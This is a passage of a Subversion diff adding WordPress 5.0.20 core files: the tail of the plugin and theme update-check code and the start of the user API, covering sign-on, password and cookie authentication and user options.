+	foreach ( $response['plugins'] as &$plugin ) {
+		$plugin = (object) $plugin;
+		if ( isset( $plugin->compatibility ) ) {
+			$plugin->compatibility = (object) $plugin->compatibility;
+			foreach ( $plugin->compatibility as &$data ) {
+				$data = (object) $data;
+			}
+		}
+	}
+	unset( $plugin, $data );
+	foreach ( $response['no_update'] as &$plugin ) {
+		$plugin = (object) $plugin;
+	}
+	unset( $plugin );
+
+	if ( is_array( $response ) ) {
+		$new_option->response = $response['plugins'];
+		$new_option->translations = $response['translations'];
+		// TODO: Perhaps better to store no_update in a separate transient with an expiry?
+		$new_option->no_update = $response['no_update'];
+	} else {
+		$new_option->response = array();
+		$new_option->translations = array();
+		$new_option->no_update = array();
+	}
+
+	set_site_transient( 'update_plugins', $new_option );
+}
+
+/**
+ * Check theme versions against the latest versions hosted on WordPress.org.
+ *
+ * A list of all themes installed in sent to WP. Checks against the
+ * WordPress server at api.wordpress.org. Will only check if WordPress isn't
+ * installing.
+ *
+ * @since 2.7.0
+ *
+ * @param array $extra_stats Extra statistics to report to the WordPress.org API.
+ */
+function wp_update_themes( $extra_stats = array() ) {
+	if ( wp_installing() ) {
+		return;
+	}
+
+	// include an unmodified $wp_version
+	include( ABSPATH . WPINC . '/version.php' );
+
+	$installed_themes = wp_get_themes();
+	$translations = wp_get_installed_translations( 'themes' );
+
+	$last_update = get_site_transient( 'update_themes' );
+	if ( ! is_object($last_update) )
+		$last_update = new stdClass;
+
+	$themes = $checked = $request = array();
+
+	// Put slug of current theme into request.
+	$request['active'] = get_option( 'stylesheet' );
+
+	foreach ( $installed_themes as $theme ) {
+		$checked[ $theme->get_stylesheet() ] = $theme->get('Version');
+
+		$themes[ $theme->get_stylesheet() ] = array(
+			'Name'       => $theme->get('Name'),
+			'Title'      => $theme->get('Name'),
+			'Version'    => $theme->get('Version'),
+			'Author'     => $theme->get('Author'),
+			'Author URI' => $theme->get('AuthorURI'),
+			'Template'   => $theme->get_template(),
+			'Stylesheet' => $theme->get_stylesheet(),
+		);
+	}
+
+	$doing_cron = wp_doing_cron();
+
+	// Check for update on a different schedule, depending on the page.
+	switch ( current_filter() ) {
+		case 'upgrader_process_complete' :
+			$timeout = 0;
+			break;
+		case 'load-update-core.php' :
+			$timeout = MINUTE_IN_SECONDS;
+			break;
+		case 'load-themes.php' :
+		case 'load-update.php' :
+			$timeout = HOUR_IN_SECONDS;
+			break;
+		default :
+			if ( $doing_cron ) {
+				$timeout = 2 * HOUR_IN_SECONDS;
+			} else {
+				$timeout = 12 * HOUR_IN_SECONDS;
+			}
+	}
+
+	$time_not_changed = isset( $last_update->last_checked ) && $timeout > ( time() - $last_update->last_checked );
+
+	if ( $time_not_changed && ! $extra_stats ) {
+		$theme_changed = false;
+		foreach ( $checked as $slug => $v ) {
+			if ( !isset( $last_update->checked[ $slug ] ) || strval($last_update->checked[ $slug ]) !== strval($v) )
+				$theme_changed = true;
+		}
+
+		if ( isset ( $last_update->response ) && is_array( $last_update->response ) ) {
+			foreach ( $last_update->response as $slug => $update_details ) {
+				if ( ! isset($checked[ $slug ]) ) {
+					$theme_changed = true;
+					break;
+				}
+			}
+		}
+
+		// Bail if we've checked recently and if nothing has changed
+		if ( ! $theme_changed ) {
+			return;
+		}
+	}
+
+	// Update last_checked for current to prevent multiple blocking requests if request hangs
+	$last_update->last_checked = time();
+	set_site_transient( 'update_themes', $last_update );
+
+	$request['themes'] = $themes;
+
+	$locales = array_values( get_available_languages() );
+
+	/**
+	 * Filters the locales requested for theme translations.
+	 *
+	 * @since 3.7.0
+	 * @since 4.5.0 The default value of the `$locales` parameter changed to include all locales.
+	 *
+	 * @param array $locales Theme locales. Default is all available locales of the site.
+	 */
+	$locales = apply_filters( 'themes_update_check_locales', $locales );
+	$locales = array_unique( $locales );
+
+	if ( $doing_cron ) {
+		$timeout = 30;
+	} else {
+		// Three seconds, plus one extra second for every 10 themes
+		$timeout = 3 + (int) ( count( $themes ) / 10 );
+	}
+
+	$options = array(
+		'timeout' => $timeout,
+		'body' => array(
+			'themes'       => wp_json_encode( $request ),
+			'translations' => wp_json_encode( $translations ),
+			'locale'       => wp_json_encode( $locales ),
+		),
+		'user-agent'	=> 'WordPress/' . $wp_version . '; ' . home_url( '/' )
+	);
+
+	if ( $extra_stats ) {
+		$options['body']['update_stats'] = wp_json_encode( $extra_stats );
+	}
+
+	$url = $http_url = 'http://api.wordpress.org/themes/update-check/1.1/';
+	if ( $ssl = wp_http_supports( array( 'ssl' ) ) )
+		$url = set_url_scheme( $url, 'https' );
+
+	$raw_response = wp_remote_post( $url, $options );
+	if ( $ssl && is_wp_error( $raw_response ) ) {
+		trigger_error(
+			sprintf(
+				/* translators: %s: support forums URL */
+				__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
+				__( 'https://wordpress.org/support/' )
+			) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ),
+			headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
+		);
+		$raw_response = wp_remote_post( $http_url, $options );
+	}
+
+	if ( is_wp_error( $raw_response ) || 200 != wp_remote_retrieve_response_code( $raw_response ) ) {
+		return;
+	}
+
+	$new_update = new stdClass;
+	$new_update->last_checked = time();
+	$new_update->checked = $checked;
+
+	$response = json_decode( wp_remote_retrieve_body( $raw_response ), true );
+
+	if ( is_array( $response ) ) {
+		$new_update->response     = $response['themes'];
+		$new_update->translations = $response['translations'];
+	}
+
+	set_site_transient( 'update_themes', $new_update );
+}
+
+/**
+ * Performs WordPress automatic background updates.
+ *
+ * @since 3.7.0
+ */
+function wp_maybe_auto_update() {
+	include_once( ABSPATH . '/wp-admin/includes/admin.php' );
+	include_once( ABSPATH . '/wp-admin/includes/class-wp-upgrader.php' );
+
+	$upgrader = new WP_Automatic_Updater;
+	$upgrader->run();
+}
+
+/**
+ * Retrieves a list of all language updates available.
+ *
+ * @since 3.7.0
+ *
+ * @return array
+ */
+function wp_get_translation_updates() {
+	$updates = array();
+	$transients = array( 'update_core' => 'core', 'update_plugins' => 'plugin', 'update_themes' => 'theme' );
+	foreach ( $transients as $transient => $type ) {
+		$transient = get_site_transient( $transient );
+		if ( empty( $transient->translations ) )
+			continue;
+
+		foreach ( $transient->translations as $translation ) {
+			$updates[] = (object) $translation;
+		}
+	}
+	return $updates;
+}
+
+/**
+ * Collect counts and UI strings for available updates
+ *
+ * @since 3.3.0
+ *
+ * @return array
+ */
+function wp_get_update_data() {
+	$counts = array( 'plugins' => 0, 'themes' => 0, 'wordpress' => 0, 'translations' => 0 );
+
+	if ( $plugins = current_user_can( 'update_plugins' ) ) {
+		$update_plugins = get_site_transient( 'update_plugins' );
+		if ( ! empty( $update_plugins->response ) )
+			$counts['plugins'] = count( $update_plugins->response );
+	}
+
+	if ( $themes = current_user_can( 'update_themes' ) ) {
+		$update_themes = get_site_transient( 'update_themes' );
+		if ( ! empty( $update_themes->response ) )
+			$counts['themes'] = count( $update_themes->response );
+	}
+
+	if ( ( $core = current_user_can( 'update_core' ) ) && function_exists( 'get_core_updates' ) ) {
+		$update_wordpress = get_core_updates( array('dismissed' => false) );
+		if ( ! empty( $update_wordpress ) && ! in_array( $update_wordpress[0]->response, array('development', 'latest') ) && current_user_can('update_core') )
+			$counts['wordpress'] = 1;
+	}
+
+	if ( ( $core || $plugins || $themes ) && wp_get_translation_updates() )
+		$counts['translations'] = 1;
+
+	$counts['total'] = $counts['plugins'] + $counts['themes'] + $counts['wordpress'] + $counts['translations'];
+	$titles = array();
+	if ( $counts['wordpress'] ) {
+		/* translators: 1: Number of updates available to WordPress */
+		$titles['wordpress'] = sprintf( __( '%d WordPress Update'), $counts['wordpress'] );
+	}
+	if ( $counts['plugins'] ) {
+		/* translators: 1: Number of updates available to plugins */
+		$titles['plugins'] = sprintf( _n( '%d Plugin Update', '%d Plugin Updates', $counts['plugins'] ), $counts['plugins'] );
+	}
+	if ( $counts['themes'] ) {
+		/* translators: 1: Number of updates available to themes */
+		$titles['themes'] = sprintf( _n( '%d Theme Update', '%d Theme Updates', $counts['themes'] ), $counts['themes'] );
+	}
+	if ( $counts['translations'] ) {
+		$titles['translations'] = __( 'Translation Updates' );
+	}
+
+	$update_title = $titles ? esc_attr( implode( ', ', $titles ) ) : '';
+
+	$update_data = array( 'counts' => $counts, 'title' => $update_title );
+	/**
+	 * Filters the returned array of update data for plugins, themes, and WordPress core.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param array $update_data {
+	 *     Fetched update data.
+	 *
+	 *     @type array   $counts       An array of counts for available plugin, theme, and WordPress updates.
+	 *     @type string  $update_title Titles of available updates.
+	 * }
+	 * @param array $titles An array of update counts and UI strings for available updates.
+	 */
+	return apply_filters( 'wp_get_update_data', $update_data, $titles );
+}
+
+/**
+ * Determines whether core should be updated.
+ *
+ * @since 2.8.0
+ *
+ * @global string $wp_version
+ */
+function _maybe_update_core() {
+	// include an unmodified $wp_version
+	include( ABSPATH . WPINC . '/version.php' );
+
+	$current = get_site_transient( 'update_core' );
+
+	if ( isset( $current->last_checked, $current->version_checked ) &&
+		12 * HOUR_IN_SECONDS > ( time() - $current->last_checked ) &&
+		$current->version_checked == $wp_version ) {
+		return;
+	}
+	wp_version_check();
+}
+/**
+ * Check the last time plugins were run before checking plugin versions.
+ *
+ * This might have been backported to WordPress 2.6.1 for performance reasons.
+ * This is used for the wp-admin to check only so often instead of every page
+ * load.
+ *
+ * @since 2.7.0
+ * @access private
+ */
+function _maybe_update_plugins() {
+	$current = get_site_transient( 'update_plugins' );
+	if ( isset( $current->last_checked ) && 12 * HOUR_IN_SECONDS > ( time() - $current->last_checked ) )
+		return;
+	wp_update_plugins();
+}
+
+/**
+ * Check themes versions only after a duration of time.
+ *
+ * This is for performance reasons to make sure that on the theme version
+ * checker is not run on every page load.
+ *
+ * @since 2.7.0
+ * @access private
+ */
+function _maybe_update_themes() {
+	$current = get_site_transient( 'update_themes' );
+	if ( isset( $current->last_checked ) && 12 * HOUR_IN_SECONDS > ( time() - $current->last_checked ) )
+		return;
+	wp_update_themes();
+}
+
+/**
+ * Schedule core, theme, and plugin update checks.
+ *
+ * @since 3.1.0
+ */
+function wp_schedule_update_checks() {
+	if ( ! wp_next_scheduled( 'wp_version_check' ) && ! wp_installing() )
+		wp_schedule_event(time(), 'twicedaily', 'wp_version_check');
+
+	if ( ! wp_next_scheduled( 'wp_update_plugins' ) && ! wp_installing() )
+		wp_schedule_event(time(), 'twicedaily', 'wp_update_plugins');
+
+	if ( ! wp_next_scheduled( 'wp_update_themes' ) && ! wp_installing() )
+		wp_schedule_event(time(), 'twicedaily', 'wp_update_themes');
+}
+
+/**
+ * Clear existing update caches for plugins, themes, and core.
+ *
+ * @since 4.1.0
+ */
+function wp_clean_update_cache() {
+	if ( function_exists( 'wp_clean_plugins_cache' ) ) {
+		wp_clean_plugins_cache();
+	} else {
+		delete_site_transient( 'update_plugins' );
+	}
+	wp_clean_themes_cache();
+	delete_site_transient( 'update_core' );
+}
+
+if ( ( ! is_main_site() && ! is_network_admin() ) || wp_doing_ajax() ) {
+	return;
+}
+
+add_action( 'admin_init', '_maybe_update_core' );
+add_action( 'wp_version_check', 'wp_version_check' );
+
+add_action( 'load-plugins.php', 'wp_update_plugins' );
+add_action( 'load-update.php', 'wp_update_plugins' );
+add_action( 'load-update-core.php', 'wp_update_plugins' );
+add_action( 'admin_init', '_maybe_update_plugins' );
+add_action( 'wp_update_plugins', 'wp_update_plugins' );
+
+add_action( 'load-themes.php', 'wp_update_themes' );
+add_action( 'load-update.php', 'wp_update_themes' );
+add_action( 'load-update-core.php', 'wp_update_themes' );
+add_action( 'admin_init', '_maybe_update_themes' );
+add_action( 'wp_update_themes', 'wp_update_themes' );
+
+add_action( 'update_option_WPLANG', 'wp_clean_update_cache' , 10, 0 );
+
+add_action( 'wp_maybe_auto_update', 'wp_maybe_auto_update' );
+
+add_action( 'init', 'wp_schedule_update_checks' );
Index: /tags/5.0.20/src/wp-includes/user.php
===================================================================
--- /tags/5.0.20/src/wp-includes/user.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/user.php	(revision 56912)
@@ -0,0 +1,3610 @@
+<?php
+/**
+ * Core User API
+ *
+ * @package WordPress
+ * @subpackage Users
+ */
+
+/**
+ * Authenticates and logs a user in with 'remember' capability.
+ *
+ * The credentials is an array that has 'user_login', 'user_password', and
+ * 'remember' indices. If the credentials is not given, then the log in form
+ * will be assumed and used if set.
+ *
+ * The various authentication cookies will be set by this function and will be
+ * set for a longer period depending on if the 'remember' credential is set to
+ * true.
+ *
+ * Note: wp_signon() doesn't handle setting the current user. This means that if the
+ * function is called before the {@see 'init'} hook is fired, is_user_logged_in() will
+ * evaluate as false until that point. If is_user_logged_in() is needed in conjunction
+ * with wp_signon(), wp_set_current_user() should be called explicitly.
+ *
+ * @since 2.5.0
+ *
+ * @global string $auth_secure_cookie
+ *
+ * @param array       $credentials   Optional. User info in order to sign on.
+ * @param string|bool $secure_cookie Optional. Whether to use secure cookie.
+ * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
+ */
+function wp_signon( $credentials = array(), $secure_cookie = '' ) {
+	if ( empty($credentials) ) {
+		$credentials = array(); // Back-compat for plugins passing an empty string.
+
+		if ( ! empty($_POST['log']) )
+			$credentials['user_login'] = $_POST['log'];
+		if ( ! empty($_POST['pwd']) )
+			$credentials['user_password'] = $_POST['pwd'];
+		if ( ! empty($_POST['rememberme']) )
+			$credentials['remember'] = $_POST['rememberme'];
+	}
+
+	if ( !empty($credentials['remember']) )
+		$credentials['remember'] = true;
+	else
+		$credentials['remember'] = false;
+
+	/**
+	 * Fires before the user is authenticated.
+	 *
+	 * The variables passed to the callbacks are passed by reference,
+	 * and can be modified by callback functions.
+	 *
+	 * @since 1.5.1
+	 *
+	 * @todo Decide whether to deprecate the wp_authenticate action.
+	 *
+	 * @param string $user_login    Username (passed by reference).
+	 * @param string $user_password User password (passed by reference).
+	 */
+	do_action_ref_array( 'wp_authenticate', array( &$credentials['user_login'], &$credentials['user_password'] ) );
+
+	if ( '' === $secure_cookie )
+		$secure_cookie = is_ssl();
+
+	/**
+	 * Filters whether to use a secure sign-on cookie.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param bool  $secure_cookie Whether to use a secure sign-on cookie.
+	 * @param array $credentials {
+ 	 *     Array of entered sign-on data.
+ 	 *
+ 	 *     @type string $user_login    Username.
+ 	 *     @type string $user_password Password entered.
+	 *     @type bool   $remember      Whether to 'remember' the user. Increases the time
+	 *                                 that the cookie will be kept. Default false.
+ 	 * }
+	 */
+	$secure_cookie = apply_filters( 'secure_signon_cookie', $secure_cookie, $credentials );
+
+	global $auth_secure_cookie; // XXX ugly hack to pass this to wp_authenticate_cookie
+	$auth_secure_cookie = $secure_cookie;
+
+	add_filter('authenticate', 'wp_authenticate_cookie', 30, 3);
+
+	$user = wp_authenticate($credentials['user_login'], $credentials['user_password']);
+
+	if ( is_wp_error($user) ) {
+		if ( $user->get_error_codes() == array('empty_username', 'empty_password') ) {
+			$user = new WP_Error('', '');
+		}
+
+		return $user;
+	}
+
+	wp_set_auth_cookie($user->ID, $credentials['remember'], $secure_cookie);
+	/**
+	 * Fires after the user has successfully logged in.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string  $user_login Username.
+	 * @param WP_User $user       WP_User object of the logged-in user.
+	 */
+	do_action( 'wp_login', $user->user_login, $user );
+	return $user;
+}
+
+/**
+ * Authenticate a user, confirming the username and password are valid.
+ *
+ * @since 2.8.0
+ *
+ * @param WP_User|WP_Error|null $user     WP_User or WP_Error object from a previous callback. Default null.
+ * @param string                $username Username for authentication.
+ * @param string                $password Password for authentication.
+ * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
+ */
+function wp_authenticate_username_password($user, $username, $password) {
+	if ( $user instanceof WP_User ) {
+		return $user;
+	}
+
+	if ( empty($username) || empty($password) ) {
+		if ( is_wp_error( $user ) )
+			return $user;
+
+		$error = new WP_Error();
+
+		if ( empty($username) )
+			$error->add('empty_username', __('<strong>ERROR</strong>: The username field is empty.'));
+
+		if ( empty($password) )
+			$error->add('empty_password', __('<strong>ERROR</strong>: The password field is empty.'));
+
+		return $error;
+	}
+
+	$user = get_user_by('login', $username);
+
+	if ( !$user ) {
+		return new WP_Error( 'invalid_username',
+			__( '<strong>ERROR</strong>: Invalid username.' ) .
+			' <a href="' . wp_lostpassword_url() . '">' .
+			__( 'Lost your password?' ) .
+			'</a>'
+		);
+	}
+
+	/**
+	 * Filters whether the given user can be authenticated with the provided $password.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param WP_User|WP_Error $user     WP_User or WP_Error object if a previous
+	 *                                   callback failed authentication.
+	 * @param string           $password Password to check against the user.
+	 */
+	$user = apply_filters( 'wp_authenticate_user', $user, $password );
+	if ( is_wp_error($user) )
+		return $user;
+
+	if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
+		return new WP_Error( 'incorrect_password',
+			sprintf(
+				/* translators: %s: user name */
+				__( '<strong>ERROR</strong>: The password you entered for the username %s is incorrect.' ),
+				'<strong>' . $username . '</strong>'
+			) .
+			' <a href="' . wp_lostpassword_url() . '">' .
+			__( 'Lost your password?' ) .
+			'</a>'
+		);
+	}
+
+	return $user;
+}
+
+/**
+ * Authenticates a user using the email and password.
+ *
+ * @since 4.5.0
+ *
+ * @param WP_User|WP_Error|null $user     WP_User or WP_Error object if a previous
+ *                                        callback failed authentication.
+ * @param string                $email    Email address for authentication.
+ * @param string                $password Password for authentication.
+ * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
+ */
+function wp_authenticate_email_password( $user, $email, $password ) {
+	if ( $user instanceof WP_User ) {
+		return $user;
+	}
+
+	if ( empty( $email ) || empty( $password ) ) {
+		if ( is_wp_error( $user ) ) {
+			return $user;
+		}
+
+		$error = new WP_Error();
+
+		if ( empty( $email ) ) {
+			$error->add( 'empty_username', __( '<strong>ERROR</strong>: The email field is empty.' ) ); // Uses 'empty_username' for back-compat with wp_signon()
+		}
+
+		if ( empty( $password ) ) {
+			$error->add( 'empty_password', __( '<strong>ERROR</strong>: The password field is empty.' ) );
+		}
+
+		return $error;
+	}
+
+	if ( ! is_email( $email ) ) {
+		return $user;
+	}
+
+	$user = get_user_by( 'email', $email );
+
+	if ( ! $user ) {
+		return new WP_Error( 'invalid_email',
+			__( '<strong>ERROR</strong>: Invalid email address.' ) .
+			' <a href="' . wp_lostpassword_url() . '">' .
+			__( 'Lost your password?' ) .
+			'</a>'
+		);
+	}
+
+	/** This filter is documented in wp-includes/user.php */
+	$user = apply_filters( 'wp_authenticate_user', $user, $password );
+
+	if ( is_wp_error( $user ) ) {
+		return $user;
+	}
+
+	if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
+		return new WP_Error( 'incorrect_password',
+			sprintf(
+				/* translators: %s: email address */
+				__( '<strong>ERROR</strong>: The password you entered for the email address %s is incorrect.' ),
+				'<strong>' . $email . '</strong>'
+			) .
+			' <a href="' . wp_lostpassword_url() . '">' .
+			__( 'Lost your password?' ) .
+			'</a>'
+		);
+	}
+
+	return $user;
+}
+
+/**
+ * Authenticate the user using the WordPress auth cookie.
+ *
+ * @since 2.8.0
+ *
+ * @global string $auth_secure_cookie
+ *
+ * @param WP_User|WP_Error|null $user     WP_User or WP_Error object from a previous callback. Default null.
+ * @param string                $username Username. If not empty, cancels the cookie authentication.
+ * @param string                $password Password. If not empty, cancels the cookie authentication.
+ * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
+ */
+function wp_authenticate_cookie($user, $username, $password) {
+	if ( $user instanceof WP_User ) {
+		return $user;
+	}
+
+	if ( empty($username) && empty($password) ) {
+		$user_id = wp_validate_auth_cookie();
+		if ( $user_id )
+			return new WP_User($user_id);
+
+		global $auth_secure_cookie;
+
+		if ( $auth_secure_cookie )
+			$auth_cookie = SECURE_AUTH_COOKIE;
+		else
+			$auth_cookie = AUTH_COOKIE;
+
+		if ( !empty($_COOKIE[$auth_cookie]) )
+			return new WP_Error('expired_session', __('Please log in again.'));
+
+		// If the cookie is not set, be silent.
+	}
+
+	return $user;
+}
+
+/**
+ * For Multisite blogs, check if the authenticated user has been marked as a
+ * spammer, or if the user's primary blog has been marked as spam.
+ *
+ * @since 3.7.0
+ *
+ * @param WP_User|WP_Error|null $user WP_User or WP_Error object from a previous callback. Default null.
+ * @return WP_User|WP_Error WP_User on success, WP_Error if the user is considered a spammer.
+ */
+function wp_authenticate_spam_check( $user ) {
+	if ( $user instanceof WP_User && is_multisite() ) {
+		/**
+		 * Filters whether the user has been marked as a spammer.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param bool    $spammed Whether the user is considered a spammer.
+		 * @param WP_User $user    User to check against.
+		 */
+		$spammed = apply_filters( 'check_is_user_spammed', is_user_spammy( $user ), $user );
+
+		if ( $spammed )
+			return new WP_Error( 'spammer_account', __( '<strong>ERROR</strong>: Your account has been marked as a spammer.' ) );
+	}
+	return $user;
+}
+
+/**
+ * Validates the logged-in cookie.
+ *
+ * Checks the logged-in cookie if the previous auth cookie could not be
+ * validated and parsed.
+ *
+ * This is a callback for the {@see 'determine_current_user'} filter, rather than API.
+ *
+ * @since 3.9.0
+ *
+ * @param int|bool $user_id The user ID (or false) as received from the
+ *                       determine_current_user filter.
+ * @return int|false User ID if validated, false otherwise. If a user ID from
+ *                   an earlier filter callback is received, that value is returned.
+ */
+function wp_validate_logged_in_cookie( $user_id ) {
+	if ( $user_id ) {
+		return $user_id;
+	}
+
+	if ( is_blog_admin() || is_network_admin() || empty( $_COOKIE[LOGGED_IN_COOKIE] ) ) {
+		return false;
+	}
+
+	return wp_validate_auth_cookie( $_COOKIE[LOGGED_IN_COOKIE], 'logged_in' );
+}
+
+/**
+ * Number of posts user has written.
+ *
+ * @since 3.0.0
+ * @since 4.1.0 Added `$post_type` argument.
+ * @since 4.3.0 Added `$public_only` argument. Added the ability to pass an array
+ *              of post types to `$post_type`.
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int          $userid      User ID.
+ * @param array|string $post_type   Optional. Single post type or array of post types to count the number of posts for. Default 'post'.
+ * @param bool         $public_only Optional. Whether to only return counts for public posts. Default false.
+ * @return string Number of posts the user has written in this post type.
+ */
+function count_user_posts( $userid, $post_type = 'post', $public_only = false ) {
+	global $wpdb;
+
+	$where = get_posts_by_author_sql( $post_type, true, $userid, $public_only );
+
+	$count = $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->posts $where" );
+
+	/**
+	 * Filters the number of posts a user has written.
+	 *
+	 * @since 2.7.0
+	 * @since 4.1.0 Added `$post_type` argument.
+	 * @since 4.3.1 Added `$public_only` argument.
+	 *
+	 * @param int          $count       The user's post count.
+	 * @param int          $userid      User ID.
+	 * @param string|array $post_type   Single post type or array of post types to count the number of posts for.
+	 * @param bool         $public_only Whether to limit counted posts to public posts.
+	 */
+	return apply_filters( 'get_usernumposts', $count, $userid, $post_type, $public_only );
+}
+
+/**
+ * Number of posts written by a list of users.
+ *
+ * @since 3.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array        $users       Array of user IDs.
+ * @param string|array $post_type   Optional. Single post type or array of post types to check. Defaults to 'post'.
+ * @param bool         $public_only Optional. Only return counts for public posts.  Defaults to false.
+ * @return array Amount of posts each user has written.
+ */
+function count_many_users_posts( $users, $post_type = 'post', $public_only = false ) {
+	global $wpdb;
+
+	$count = array();
+	if ( empty( $users ) || ! is_array( $users ) )
+		return $count;
+
+	$userlist = implode( ',', array_map( 'absint', $users ) );
+	$where = get_posts_by_author_sql( $post_type, true, null, $public_only );
+
+	$result = $wpdb->get_results( "SELECT post_author, COUNT(*) FROM $wpdb->posts $where AND post_author IN ($userlist) GROUP BY post_author", ARRAY_N );
+	foreach ( $result as $row ) {
+		$count[ $row[0] ] = $row[1];
+	}
+
+	foreach ( $users as $id ) {
+		if ( ! isset( $count[ $id ] ) )
+			$count[ $id ] = 0;
+	}
+
+	return $count;
+}
+
+//
+// User option functions
+//
+
+/**
+ * Get the current user's ID
+ *
+ * @since MU (3.0.0)
+ *
+ * @return int The current user's ID, or 0 if no user is logged in.
+ */
+function get_current_user_id() {
+	if ( ! function_exists( 'wp_get_current_user' ) )
+		return 0;
+	$user = wp_get_current_user();
+	return ( isset( $user->ID ) ? (int) $user->ID : 0 );
+}
+
+/**
+ * Retrieve user option that can be either per Site or per Network.
+ *
+ * If the user ID is not given, then the current user will be used instead. If
+ * the user ID is given, then the user data will be retrieved. The filter for
+ * the result, will also pass the original option name and finally the user data
+ * object as the third parameter.
+ *
+ * The option will first check for the per site name and then the per Network name.
+ *
+ * @since 2.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $option     User option name.
+ * @param int    $user       Optional. User ID.
+ * @param string $deprecated Use get_option() to check for an option in the options table.
+ * @return mixed User option value on success, false on failure.
+ */
+function get_user_option( $option, $user = 0, $deprecated = '' ) {
+	global $wpdb;
+
+	if ( !empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '3.0.0' );
+
+	if ( empty( $user ) )
+		$user = get_current_user_id();
+
+	if ( ! $user = get_userdata( $user ) )
+		return false;
+
+	$prefix = $wpdb->get_blog_prefix();
+	if ( $user->has_prop( $prefix . $option ) ) // Blog specific
+		$result = $user->get( $prefix . $option );
+	elseif ( $user->has_prop( $option ) ) // User specific and cross-blog
+		$result = $user->get( $option );
+	else
+		$result = false;
+
+	/**
+	 * Filters a specific user option value.
+	 *
+	 * The dynamic portion of the hook name, `$option`, refers to the user option name.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param mixed   $result Value for the user's option.
+	 * @param string  $option Name of the option being retrieved.
+	 * @param WP_User $user   WP_User object of the user whose option is being retrieved.
+	 */
+	return apply_filters( "get_user_option_{$option}", $result, $option, $user );
+}
+
+/**
+ * Update user option with global blog capability.
+ *
+ * User options are just like user metadata except that they have support for
+ * global blog options. If the 'global' parameter is false, which it is by default
+ * it will prepend the WordPress table prefix to the option name.
+ *
+ * Deletes the user option if $newvalue is empty.
+ *
+ * @since 2.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int    $user_id     User ID.
+ * @param string $option_name User option name.
+ * @param mixed  $newvalue    User option value.
+ * @param bool   $global      Optional. Whether option name is global or blog specific.
+ *                            Default false (blog specific).
+ * @return int|bool User meta ID if the option didn't exist, true on successful update,
+ *                  false on failure.
+ */
+function update_user_option( $user_id, $option_name, $newvalue, $global = false ) {
+	global $wpdb;
+
+	if ( !$global )
+		$option_name = $wpdb->get_blog_prefix() . $option_name;
+
+	return update_user_meta( $user_id, $option_name, $newvalue );
+}
+
+/**
+ * Delete user option with global blog capability.
+ *
+ * User options are just like user metadata except that they have support for
+ * global blog options. If the 'global' parameter is false, which it is by default
+ * it will prepend the WordPress table prefix to the option name.
+ *
+ * @since 3.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int    $user_id     User ID
+ * @param string $option_name User option name.
+ * @param bool   $global      Optional. Whether option name is global or blog specific.
+ *                            Default false (blog specific).
+ * @return bool True on success, false on failure.
+ */
+function delete_user_option( $user_id, $option_name, $global = false ) {
+	global $wpdb;
+
+	if ( !$global )
+		$option_name = $wpdb->get_blog_prefix() . $option_name;
+	return delete_user_meta( $user_id, $option_name );
+}
+
+/**
+ * Retrieve list of users matching criteria.
+ *
+ * @since 3.1.0
+ *
+ * @see WP_User_Query
+ *
+ * @param array $args Optional. Arguments to retrieve users. See WP_User_Query::prepare_query().
+ *                    for more information on accepted arguments.
+ * @return array List of users.
+ */
+function get_users( $args = array() ) {
+
+	$args = wp_parse_args( $args );
+	$args['count_total'] = false;
+
+	$user_search = new WP_User_Query($args);
+
+	return (array) $user_search->get_results();
+}
+
+/**
+ * Get the sites a user belongs to.
+ *
+ * @since 3.0.0
+ * @since 4.7.0 Converted to use get_sites().
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int  $user_id User ID
+ * @param bool $all     Whether to retrieve all sites, or only sites that are not
+ *                      marked as deleted, archived, or spam.
+ * @return array A list of the user's sites. An empty array if the user doesn't exist
+ *               or belongs to no sites.
+ */
+function get_blogs_of_user( $user_id, $all = false ) {
+	global $wpdb;
+
+	$user_id = (int) $user_id;
+
+	// Logged out users can't have sites
+	if ( empty( $user_id ) )
+		return array();
+
+	/**
+	 * Filters the list of a user's sites before it is populated.
+	 *
+	 * Passing a non-null value to the filter will effectively short circuit
+	 * get_blogs_of_user(), returning that value instead.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param null|array $sites   An array of site objects of which the user is a member.
+	 * @param int        $user_id User ID.
+	 * @param bool       $all     Whether the returned array should contain all sites, including
+	 *                            those marked 'deleted', 'archived', or 'spam'. Default false.
+	 */
+	$sites = apply_filters( 'pre_get_blogs_of_user', null, $user_id, $all );
+
+	if ( null !== $sites ) {
+		return $sites;
+	}
+
+	$keys = get_user_meta( $user_id );
+	if ( empty( $keys ) )
+		return array();
+
+	if ( ! is_multisite() ) {
+		$site_id = get_current_blog_id();
+		$sites = array( $site_id => new stdClass );
+		$sites[ $site_id ]->userblog_id = $site_id;
+		$sites[ $site_id ]->blogname = get_option('blogname');
+		$sites[ $site_id ]->domain = '';
+		$sites[ $site_id ]->path = '';
+		$sites[ $site_id ]->site_id = 1;
+		$sites[ $site_id ]->siteurl = get_option('siteurl');
+		$sites[ $site_id ]->archived = 0;
+		$sites[ $site_id ]->spam = 0;
+		$sites[ $site_id ]->deleted = 0;
+		return $sites;
+	}
+
